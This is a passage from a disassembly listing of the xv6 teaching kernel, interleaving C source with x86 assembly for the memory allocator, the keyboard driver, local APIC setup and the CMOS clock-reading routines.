ret 8010236f: 90 nop release(&kmem.lock); 80102370: c7 45 08 40 26 11 80 movl $0x80112640,0x8(%ebp) } 80102377: 8b 5d fc mov -0x4(%ebp),%ebx 8010237a: c9 leave release(&kmem.lock); 8010237b: e9 90 23 00 00 jmp 80104710 <release> acquire(&kmem.lock); 80102380: 83 ec 0c sub $0xc,%esp 80102383: 68 40 26 11 80 push $0x80112640 80102388: e8 c3 22 00 00 call 80104650 <acquire> 8010238d: 83 c4 10 add $0x10,%esp 80102390: eb c2 jmp 80102354 <kfree+0x44> panic("kfree"); 80102392: 83 ec 0c sub $0xc,%esp 80102395: 68 46 74 10 80 push $0x80107446 8010239a: e8 f1 df ff ff call 80100390 <panic> 8010239f: 90 nop 801023a0 <freerange>: { 801023a0: 55 push %ebp 801023a1: 89 e5 mov %esp,%ebp 801023a3: 56 push %esi 801023a4: 53 push %ebx p = (char*)PGROUNDUP((uint)vstart); 801023a5: 8b 45 08 mov 0x8(%ebp),%eax { 801023a8: 8b 75 0c mov 0xc(%ebp),%esi p = (char*)PGROUNDUP((uint)vstart); 801023ab: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 801023b1: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023b7: 81 c3 00 10 00 00 add $0x1000,%ebx 801023bd: 39 de cmp %ebx,%esi 801023bf: 72 23 jb 801023e4 <freerange+0x44> 801023c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi kfree(p); 801023c8: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax 801023ce: 83 ec 0c sub $0xc,%esp for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023d1: 81 c3 00 10 00 00 add $0x1000,%ebx kfree(p); 801023d7: 50 push %eax 801023d8: e8 33 ff ff ff call 80102310 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023dd: 83 c4 10 add $0x10,%esp 801023e0: 39 f3 cmp %esi,%ebx 801023e2: 76 e4 jbe 801023c8 <freerange+0x28> } 801023e4: 8d 65 f8 lea -0x8(%ebp),%esp 801023e7: 5b pop %ebx 801023e8: 5e pop %esi 801023e9: 5d pop %ebp 801023ea: c3 ret 801023eb: 90 nop 801023ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801023f0 <kinit1>: { 801023f0: 55 push %ebp 801023f1: 89 e5 mov %esp,%ebp 801023f3: 56 push %esi 801023f4: 53 push %ebx 801023f5: 8b 75 0c mov 0xc(%ebp),%esi initlock(&kmem.lock, "kmem"); 801023f8: 83 ec 08 sub $0x8,%esp 801023fb: 68 4c 74 10 80 push $0x8010744c 80102400: 68 40 26 11 80 push $0x80112640 80102405: e8 06 21 00 00 call 80104510 <initlock> p = (char*)PGROUNDUP((uint)vstart); 8010240a: 8b 45 08 mov 0x8(%ebp),%eax for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010240d: 83 c4 10 add $0x10,%esp kmem.use_lock = 0; 80102410: c7 05 74 26 11 80 00 movl $0x0,0x80112674 80102417: 00 00 00 p = (char*)PGROUNDUP((uint)vstart); 8010241a: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 80102420: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102426: 81 c3 00 10 00 00 add $0x1000,%ebx 8010242c: 39 de cmp %ebx,%esi 8010242e: 72 1c jb 8010244c <kinit1+0x5c> kfree(p); 80102430: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax 80102436: 83 ec 0c sub $0xc,%esp for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102439: 81 c3 00 10 00 00 add $0x1000,%ebx kfree(p); 8010243f: 50 push %eax 80102440: e8 cb fe ff ff call 80102310 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102445: 83 c4 10 add $0x10,%esp 80102448: 39 de cmp %ebx,%esi 8010244a: 73 e4 jae 80102430 <kinit1+0x40> } 8010244c: 8d 65 f8 lea -0x8(%ebp),%esp 8010244f: 5b pop %ebx 80102450: 5e pop %esi 80102451: 5d pop %ebp 80102452: c3 ret 80102453: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102459: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102460 <kinit2>: { 80102460: 55 push %ebp 80102461: 89 e5 mov %esp,%ebp 80102463: 56 push %esi 80102464: 53 push %ebx p = (char*)PGROUNDUP((uint)vstart); 80102465: 8b 45 08 mov 0x8(%ebp),%eax { 80102468: 8b 75 0c mov 0xc(%ebp),%esi p = (char*)PGROUNDUP((uint)vstart); 8010246b: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 80102471: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102477: 81 c3 00 10 00 00 add $0x1000,%ebx 8010247d: 39 de cmp %ebx,%esi 8010247f: 72 23 jb 801024a4 <kinit2+0x44> 80102481: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi kfree(p); 80102488: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax 8010248e: 83 ec 0c sub $0xc,%esp for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102491: 81 c3 00 10 00 00 add $0x1000,%ebx kfree(p); 80102497: 50 push %eax 80102498: e8 73 fe ff ff call 80102310 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010249d: 83 c4 10 add $0x10,%esp 801024a0: 39 de cmp %ebx,%esi 801024a2: 73 e4 jae 80102488 <kinit2+0x28> kmem.use_lock = 1; 801024a4: c7 05 74 26 11 80 01 movl $0x1,0x80112674 801024ab: 00 00 00 } 801024ae: 8d 65 f8 lea -0x8(%ebp),%esp 801024b1: 5b pop %ebx 801024b2: 5e pop %esi 801024b3: 5d pop %ebp 801024b4: c3 ret 801024b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801024b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801024c0 <kalloc>: char* kalloc(void) { struct run *r; if(kmem.use_lock) 801024c0: a1 74 26 11 80 mov 0x80112674,%eax 801024c5: 85 c0 test %eax,%eax 801024c7: 75 1f jne 801024e8 <kalloc+0x28> acquire(&kmem.lock); r = kmem.freelist; 801024c9: a1 78 26 11 80 mov 0x80112678,%eax if(r) 801024ce: 85 c0 test %eax,%eax 801024d0: 74 0e je 801024e0 <kalloc+0x20> kmem.freelist = r->next; 801024d2: 8b 10 mov (%eax),%edx 801024d4: 89 15 78 26 11 80 mov %edx,0x80112678 801024da: c3 ret 801024db: 90 nop 801024dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(kmem.use_lock) release(&kmem.lock); return (char*)r; } 801024e0: f3 c3 repz ret 801024e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi { 801024e8: 55 push %ebp 801024e9: 89 e5 mov %esp,%ebp 801024eb: 83 ec 24 sub $0x24,%esp acquire(&kmem.lock); 801024ee: 68 40 26 11 80 push $0x80112640 801024f3: e8 58 21 00 00 call 80104650 <acquire> r = kmem.freelist; 801024f8: a1 78 26 11 80 mov 0x80112678,%eax if(r) 801024fd: 83 c4 10 add $0x10,%esp 80102500: 8b 15 74 26 11 80 mov 0x80112674,%edx 80102506: 85 c0 test %eax,%eax 80102508: 74 08 je 80102512 <kalloc+0x52> kmem.freelist = r->next; 8010250a: 8b 08 mov (%eax),%ecx 8010250c: 89 0d 78 26 11 80 mov %ecx,0x80112678 if(kmem.use_lock) 80102512: 85 d2 test %edx,%edx 80102514: 74 16 je 8010252c <kalloc+0x6c> release(&kmem.lock); 80102516: 83 ec 0c sub $0xc,%esp 80102519: 89 45 f4 mov %eax,-0xc(%ebp) 8010251c: 68 40 26 11 80 push $0x80112640 80102521: e8 ea 21 00 00 call 80104710 <release> return (char*)r; 80102526: 8b 45 f4 mov -0xc(%ebp),%eax release(&kmem.lock); 80102529: 83 c4 10 add $0x10,%esp } 8010252c: c9 leave 8010252d: c3 ret 8010252e: 66 90 xchg %ax,%ax 80102530 <kbdgetc>: asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102530: ba 64 00 00 00 mov $0x64,%edx 80102535: ec in (%dx),%al normalmap, shiftmap, ctlmap, ctlmap }; uint st, data, c; st = inb(KBSTATP); if((st & KBS_DIB) == 0) 80102536: a8 01 test $0x1,%al 80102538: 0f 84 c2 00 00 00 je 80102600 <kbdgetc+0xd0> 8010253e: ba 60 00 00 00 mov $0x60,%edx 80102543: ec in (%dx),%al return -1; data = inb(KBDATAP); 80102544: 0f b6 d0 movzbl %al,%edx 80102547: 8b 0d b4 a5 10 80 mov 0x8010a5b4,%ecx if(data == 0xE0){ 8010254d: 81 fa e0 00 00 00 cmp $0xe0,%edx 80102553: 0f 84 7f 00 00 00 je 801025d8 <kbdgetc+0xa8> { 80102559: 55 push %ebp 8010255a: 89 e5 mov %esp,%ebp 8010255c: 53 push %ebx 8010255d: 89 cb mov %ecx,%ebx 8010255f: 83 e3 40 and $0x40,%ebx shift |= E0ESC; return 0; } else if(data & 0x80){ 80102562: 84 c0 test %al,%al 80102564: 78 4a js 801025b0 <kbdgetc+0x80> // Key released data = (shift & E0ESC ? data : data & 0x7F); shift &= ~(shiftcode[data] | E0ESC); return 0; } else if(shift & E0ESC){ 80102566: 85 db test %ebx,%ebx 80102568: 74 09 je 80102573 <kbdgetc+0x43> // Last character was an E0 escape; or with 0x80 data |= 0x80; 8010256a: 83 c8 80 or $0xffffff80,%eax shift &= ~E0ESC; 8010256d: 83 e1 bf and $0xffffffbf,%ecx data |= 0x80; 80102570: 0f b6 d0 movzbl %al,%edx } shift |= shiftcode[data]; 80102573: 0f b6 82 80 75 10 80 movzbl -0x7fef8a80(%edx),%eax 8010257a: 09 c1 or %eax,%ecx shift ^= togglecode[data]; 8010257c: 0f b6 82 80 74 10 80 movzbl -0x7fef8b80(%edx),%eax 80102583: 31 c1 xor %eax,%ecx c = charcode[shift & (CTL | SHIFT)][data]; 80102585: 89 c8 mov %ecx,%eax shift ^= togglecode[data]; 80102587: 89 0d b4 a5 10 80 mov %ecx,0x8010a5b4 c = charcode[shift & (CTL | SHIFT)][data]; 8010258d: 83 e0 03 and $0x3,%eax if(shift & CAPSLOCK){ 80102590: 83 e1 08 and $0x8,%ecx c = charcode[shift & (CTL | SHIFT)][data]; 80102593: 8b 04 85 60 74 10 80 mov -0x7fef8ba0(,%eax,4),%eax 8010259a: 0f b6 04 10 movzbl (%eax,%edx,1),%eax if(shift & CAPSLOCK){ 8010259e: 74 31 je 801025d1 <kbdgetc+0xa1> if('a' <= c && c <= 'z') 801025a0: 8d 50 9f lea -0x61(%eax),%edx 801025a3: 83 fa 19 cmp $0x19,%edx 801025a6: 77 40 ja 801025e8 <kbdgetc+0xb8> c += 'A' - 'a'; 801025a8: 83 e8 20 sub $0x20,%eax else if('A' <= c && c <= 'Z') c += 'a' - 'A'; } return c; } 801025ab: 5b pop %ebx 801025ac: 5d pop %ebp 801025ad: c3 ret 801025ae: 66 90 xchg %ax,%ax data = (shift & E0ESC ? data : data & 0x7F); 801025b0: 83 e0 7f and $0x7f,%eax 801025b3: 85 db test %ebx,%ebx 801025b5: 0f 44 d0 cmove %eax,%edx shift &= ~(shiftcode[data] | E0ESC); 801025b8: 0f b6 82 80 75 10 80 movzbl -0x7fef8a80(%edx),%eax 801025bf: 83 c8 40 or $0x40,%eax 801025c2: 0f b6 c0 movzbl %al,%eax 801025c5: f7 d0 not %eax 801025c7: 21 c1 and %eax,%ecx return 0; 801025c9: 31 c0 xor %eax,%eax shift &= ~(shiftcode[data] | E0ESC); 801025cb: 89 0d b4 a5 10 80 mov %ecx,0x8010a5b4 } 801025d1: 5b pop %ebx 801025d2: 5d pop %ebp 801025d3: c3 ret 801025d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi shift |= E0ESC; 801025d8: 83 c9 40 or $0x40,%ecx return 0; 801025db: 31 c0 xor %eax,%eax shift |= E0ESC; 801025dd: 89 0d b4 a5 10 80 mov %ecx,0x8010a5b4 return 0; 801025e3: c3 ret 801025e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi else if('A' <= c && c <= 'Z') 801025e8: 8d 48 bf lea -0x41(%eax),%ecx c += 'a' - 'A'; 801025eb: 8d 50 20 lea 0x20(%eax),%edx } 801025ee: 5b pop %ebx c += 'a' - 'A'; 801025ef: 83 f9 1a cmp $0x1a,%ecx 801025f2: 0f 42 c2 cmovb %edx,%eax } 801025f5: 5d pop %ebp 801025f6: c3 ret 801025f7: 89 f6 mov %esi,%esi 801025f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi return -1; 80102600: b8 ff ff ff ff mov $0xffffffff,%eax } 80102605: c3 ret 80102606: 8d 76 00 lea 0x0(%esi),%esi 80102609: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102610 <kbdintr>: void kbdintr(void) { 80102610: 55 push %ebp 80102611: 89 e5 mov %esp,%ebp 80102613: 83 ec 14 sub $0x14,%esp consoleintr(kbdgetc); 80102616: 68 30 25 10 80 push $0x80102530 8010261b: e8 f0 e1 ff ff call 80100810 <consoleintr> } 80102620: 83 c4 10 add $0x10,%esp 80102623: c9 leave 80102624: c3 ret 80102625: 66 90 xchg %ax,%ax 80102627: 66 90 xchg %ax,%ax 80102629: 66 90 xchg %ax,%ax 8010262b: 66 90 xchg %ax,%ax 8010262d: 66 90 xchg %ax,%ax 8010262f: 90 nop 80102630 <lapicinit>: } void lapicinit(void) { if(!lapic) 80102630: a1 7c 26 11 80 mov 0x8011267c,%eax { 80102635: 55 push %ebp 80102636: 89 e5 mov %esp,%ebp if(!lapic) 80102638: 85 c0 test %eax,%eax 8010263a: 0f 84 c8 00 00 00 je 80102708 <lapicinit+0xd8> lapic[index] = value; 80102640: c7 80 f0 00 00 00 3f movl $0x13f,0xf0(%eax) 80102647: 01 00 00 lapic[ID]; // wait for write to finish, by reading 8010264a: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010264d: c7 80 e0 03 00 00 0b movl $0xb,0x3e0(%eax) 80102654: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102657: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010265a: c7 80 20 03 00 00 20 movl $0x20020,0x320(%eax) 80102661: 00 02 00 lapic[ID]; // wait for write to finish, by reading 80102664: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102667: c7 80 80 03 00 00 80 movl $0x989680,0x380(%eax) 8010266e: 96 98 00 lapic[ID]; // wait for write to finish, by reading 80102671: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102674: c7 80 50 03 00 00 00 movl $0x10000,0x350(%eax) 8010267b: 00 01 00 lapic[ID]; // wait for write to finish, by reading 8010267e: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102681: c7 80 60 03 00 00 00 movl $0x10000,0x360(%eax) 80102688: 00 01 00 lapic[ID]; // wait for write to finish, by reading 8010268b: 8b 50 20 mov 0x20(%eax),%edx lapicw(LINT0, MASKED); lapicw(LINT1, MASKED); // Disable performance counter overflow interrupts // on machines that provide that interrupt entry. if(((lapic[VER]>>16) & 0xFF) >= 4) 8010268e: 8b 50 30 mov 0x30(%eax),%edx 80102691: c1 ea 10 shr $0x10,%edx 80102694: 80 fa 03 cmp $0x3,%dl 80102697: 77 77 ja 80102710 <lapicinit+0xe0> lapic[index] = value; 80102699: c7 80 70 03 00 00 33 movl $0x33,0x370(%eax) 801026a0: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026a3: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026a6: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 801026ad: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026b0: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026b3: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 801026ba: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026bd: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026c0: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 801026c7: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026ca: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026cd: c7 80 10 03 00 00 00 movl $0x0,0x310(%eax) 801026d4: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026d7: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026da: c7 80 00 03 00 00 00 movl $0x88500,0x300(%eax) 801026e1: 85 08 00 lapic[ID]; // wait for write to finish, by reading 801026e4: 8b 50 20 mov 0x20(%eax),%edx 801026e7: 89 f6 mov %esi,%esi 801026e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi lapicw(EOI, 0); // Send an Init Level De-Assert to synchronise arbitration ID's. lapicw(ICRHI, 0); lapicw(ICRLO, BCAST | INIT | LEVEL); while(lapic[ICRLO] & DELIVS) 801026f0: 8b 90 00 03 00 00 mov 0x300(%eax),%edx 801026f6: 80 e6 10 and $0x10,%dh 801026f9: 75 f5 jne 801026f0 <lapicinit+0xc0> lapic[index] = value; 801026fb: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax) 80102702: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102705: 8b 40 20 mov 0x20(%eax),%eax ; // Enable interrupts on the APIC (but not on the processor). lapicw(TPR, 0); } 80102708: 5d pop %ebp 80102709: c3 ret 8010270a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi lapic[index] = value; 80102710: c7 80 40 03 00 00 00 movl $0x10000,0x340(%eax) 80102717: 00 01 00 lapic[ID]; // wait for write to finish, by reading 8010271a: 8b 50 20 mov 0x20(%eax),%edx 8010271d: e9 77 ff ff ff jmp 80102699 <lapicinit+0x69> 80102722: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102729: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102730 <lapicid>: int lapicid(void) { if (!lapic) 80102730: 8b 15 7c 26 11 80 mov 0x8011267c,%edx { 80102736: 55 push %ebp 80102737: 31 c0 xor %eax,%eax 80102739: 89 e5 mov %esp,%ebp if (!lapic) 8010273b: 85 d2 test %edx,%edx 8010273d: 74 06 je 80102745 <lapicid+0x15> return 0; return lapic[ID] >> 24; 8010273f: 8b 42 20 mov 0x20(%edx),%eax 80102742: c1 e8 18 shr $0x18,%eax } 80102745: 5d pop %ebp 80102746: c3 ret 80102747: 89 f6 mov %esi,%esi 80102749: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102750 <lapiceoi>: // Acknowledge interrupt. void lapiceoi(void) { if(lapic) 80102750: a1 7c 26 11 80 mov 0x8011267c,%eax { 80102755: 55 push %ebp 80102756: 89 e5 mov %esp,%ebp if(lapic) 80102758: 85 c0 test %eax,%eax 8010275a: 74 0d je 80102769 <lapiceoi+0x19> lapic[index] = value; 8010275c: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 80102763: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102766: 8b 40 20 mov 0x20(%eax),%eax lapicw(EOI, 0); } 80102769: 5d pop %ebp 8010276a: c3 ret 8010276b: 90 nop 8010276c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102770 <microdelay>: // Spin for a given number of microseconds. // On real hardware would want to tune this dynamically. void microdelay(int us) { 80102770: 55 push %ebp 80102771: 89 e5 mov %esp,%ebp } 80102773: 5d pop %ebp 80102774: c3 ret 80102775: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102779: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102780 <lapicstartap>: // Start additional processor running entry code at addr. // See Appendix B of MultiProcessor Specification. void lapicstartap(uchar apicid, uint addr) { 80102780: 55 push %ebp asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102781: b8 0f 00 00 00 mov $0xf,%eax 80102786: ba 70 00 00 00 mov $0x70,%edx 8010278b: 89 e5 mov %esp,%ebp 8010278d: 53 push %ebx 8010278e: 8b 4d 0c mov 0xc(%ebp),%ecx 80102791: 8b 5d 08 mov 0x8(%ebp),%ebx 80102794: ee out %al,(%dx) 80102795: b8 0a 00 00 00 mov $0xa,%eax 8010279a: ba 71 00 00 00 mov $0x71,%edx 8010279f: ee out %al,(%dx) // and the warm reset vector (DWORD based at 40:67) to point at // the AP startup code prior to the [universal startup algorithm]." outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code outb(CMOS_PORT+1, 0x0A); wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector wrv[0] = 0; 801027a0: 31 c0 xor %eax,%eax wrv[1] = addr >> 4; // "Universal startup algorithm." // Send INIT (level-triggered) interrupt to reset other CPU. lapicw(ICRHI, apicid<<24); 801027a2: c1 e3 18 shl $0x18,%ebx wrv[0] = 0; 801027a5: 66 a3 67 04 00 80 mov %ax,0x80000467 wrv[1] = addr >> 4; 801027ab: 89 c8 mov %ecx,%eax // when it is in the halted state due to an INIT. So the second // should be ignored, but it is part of the official Intel algorithm. // Bochs complains about the second one. Too bad for Bochs. for(i = 0; i < 2; i++){ lapicw(ICRHI, apicid<<24); lapicw(ICRLO, STARTUP | (addr>>12)); 801027ad: c1 e9 0c shr $0xc,%ecx wrv[1] = addr >> 4; 801027b0: c1 e8 04 shr $0x4,%eax lapicw(ICRHI, apicid<<24); 801027b3: 89 da mov %ebx,%edx lapicw(ICRLO, STARTUP | (addr>>12)); 801027b5: 80 cd 06 or $0x6,%ch wrv[1] = addr >> 4; 801027b8: 66 a3 69 04 00 80 mov %ax,0x80000469 lapic[index] = value; 801027be: a1 7c 26 11 80 mov 0x8011267c,%eax 801027c3: 89 98 10 03 00 00 mov %ebx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 801027c9: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 801027cc: c7 80 00 03 00 00 00 movl $0xc500,0x300(%eax) 801027d3: c5 00 00 lapic[ID]; // wait for write to finish, by reading 801027d6: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 801027d9: c7 80 00 03 00 00 00 movl $0x8500,0x300(%eax) 801027e0: 85 00 00 lapic[ID]; // wait for write to finish, by reading 801027e3: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 801027e6: 89 90 10 03 00 00 mov %edx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 801027ec: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 801027ef: 89 88 00 03 00 00 mov %ecx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 801027f5: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 801027f8: 89 90 10 03 00 00 mov %edx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 801027fe: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102801: 89 88 00 03 00 00 mov %ecx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 80102807: 8b 40 20 mov 0x20(%eax),%eax microdelay(200); } } 8010280a: 5b pop %ebx 8010280b: 5d pop %ebp 8010280c: c3 ret 8010280d: 8d 76 00 lea 0x0(%esi),%esi 80102810 <cmostime>: } // qemu seems to use 24-hour GWT and the values are BCD encoded void cmostime(struct rtcdate *r) { 80102810: 55 push %ebp 80102811: b8 0b 00 00 00 mov $0xb,%eax 80102816: ba 70 00 00 00 mov $0x70,%edx 8010281b: 89 e5 mov %esp,%ebp 8010281d: 57 push %edi 8010281e: 56 push %esi 8010281f: 53 push %ebx 80102820: 83 ec 4c sub $0x4c,%esp 80102823: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102824: ba 71 00 00 00 mov $0x71,%edx 80102829: ec in (%dx),%al 8010282a: 83 e0 04 and $0x4,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010282d: bb 70 00 00 00 mov $0x70,%ebx 80102832: 88 45 b3 mov %al,-0x4d(%ebp) 80102835: 8d 76 00 lea 0x0(%esi),%esi 80102838: 31 c0 xor %eax,%eax 8010283a: 89 da mov %ebx,%edx 8010283c: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010283d: b9 71 00 00 00 mov $0x71,%ecx 80102842: 89 ca mov %ecx,%edx 80102844: ec in (%dx),%al 80102845: 88 45 b7 mov %al,-0x49(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102848: 89 da mov %ebx,%edx 8010284a: b8 02 00 00 00 mov $0x2,%eax 8010284f: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102850: 89 ca mov %ecx,%edx 80102852: ec in (%dx),%al 80102853: 88 45 b6 mov %al,-0x4a(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102856: 89 da mov %ebx,%edx 80102858: b8 04 00 00 00 mov $0x4,%eax 8010285d: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010285e: 89 ca mov %ecx,%edx 80102860: ec in (%dx),%al 80102861: 88 45 b5 mov %al,-0x4b(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102864: 89 da mov %ebx,%edx 80102866: b8 07 00 00 00 mov $0x7,%eax 8010286b: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010286c: 89 ca mov %ecx,%edx 8010286e: ec in (%dx),%al 8010286f: 88 45 b4 mov %al,-0x4c(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102872: 89 da mov %ebx,%edx 80102874: b8 08 00 00 00 mov $0x8,%eax 80102879: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010287a: 89 ca mov %ecx,%edx 8010287c: ec in (%dx),%al 8010287d: 89 c7 mov %eax,%edi asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010287f: 89 da mov %ebx,%edx 80102881: b8 09 00 00 00 mov $0x9,%eax 80102886: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102887: 89 ca mov %ecx,%edx 80102889: ec in (%dx),%al 8010288a: 89 c6 mov %eax,%esi asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010288c: 89 da mov %ebx,%edx 8010288e: b8 0a 00 00 00 mov $0xa,%eax 80102893: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102894: 89 ca mov %ecx,%edx 80102896: ec in (%dx),%al bcd = (sb & (1 << 2)) == 0; // make sure CMOS doesn't modify time while we read it for(;;) { fill_rtcdate(&t1); if(cmos_read(CMOS_STATA) & CMOS_UIP) 80102897: 84 c0 test %al,%al 80102899: 78 9d js 80102838 <cmostime+0x28> return inb(CMOS_RETURN); 8010289b: 0f b6 45 b7 movzbl -0x49(%ebp),%eax 8010289f: 89 fa mov %edi,%edx 801028a1: 0f b6 fa movzbl %dl,%edi 801028a4: 89 f2 mov %esi,%edx 801028a6: 0f b6 f2 movzbl %dl,%esi 801028a9: 89 7d c8 mov %edi,-0x38(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801028ac: 89 da mov %ebx,%edx 801028ae: 89 75 cc mov %esi,-0x34(%ebp) 801028b1: 89 45 b8 mov %eax,-0x48(%ebp) 801028b4: 0f b6 45 b6 movzbl -0x4a(%ebp),%eax 801028b8: 89 45 bc mov %eax,-0x44(%ebp) 801028bb: 0f b6 45 b5 movzbl -0x4b(%ebp),%eax 801028bf: 89 45 c0 mov %eax,-0x40(%ebp) 801028c2: 0f b6 45 b4 movzbl -0x4c(%ebp),%eax 801028c6: 89 45 c4 mov %eax,-0x3c(%ebp) 801028c9: 31 c0 xor %eax,%eax 801028cb: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801028cc: 89 ca mov %ecx,%edx 801028ce: ec in (%dx),%al 801028cf: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801028d2: 89 da mov %ebx,%edx 801028d4: 89 45 d0 mov %eax,-0x30(%ebp) 801028d7: b8 02 00 00 00 mov $0x2,%eax 801028dc: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801028dd: 89 ca mov %ecx,%edx 801028df: ec in (%dx),%al 801028e0: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801028e3: 89 da mov %ebx,%edx 801028e5: 89 45 d4 mov %eax,-0x2c(%ebp) 801028e8: b8 04 00 00 00 mov $0x4,%eax 801028ed: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801028ee: 89 ca mov %ecx,%edx 801028f0: ec in (%dx),%al 801028f1: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801028f4: 89 da mov %ebx,%edx 801028f6: 89 45 d8 mov %eax,-0x28(%ebp) 801028f9: b8 07 00 00 00 mov $0x7,%eax 801028fe: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801028ff: 89 ca mov %ecx,%edx 80102901: ec in (%dx),%al 80102902: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102905: 89 da mov %ebx,%edx 80102907: 89 45 dc mov %eax,-0x24(%ebp) 8010290a: b8 08 00 00 00 mov $0x8,%eax 8010290f: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" 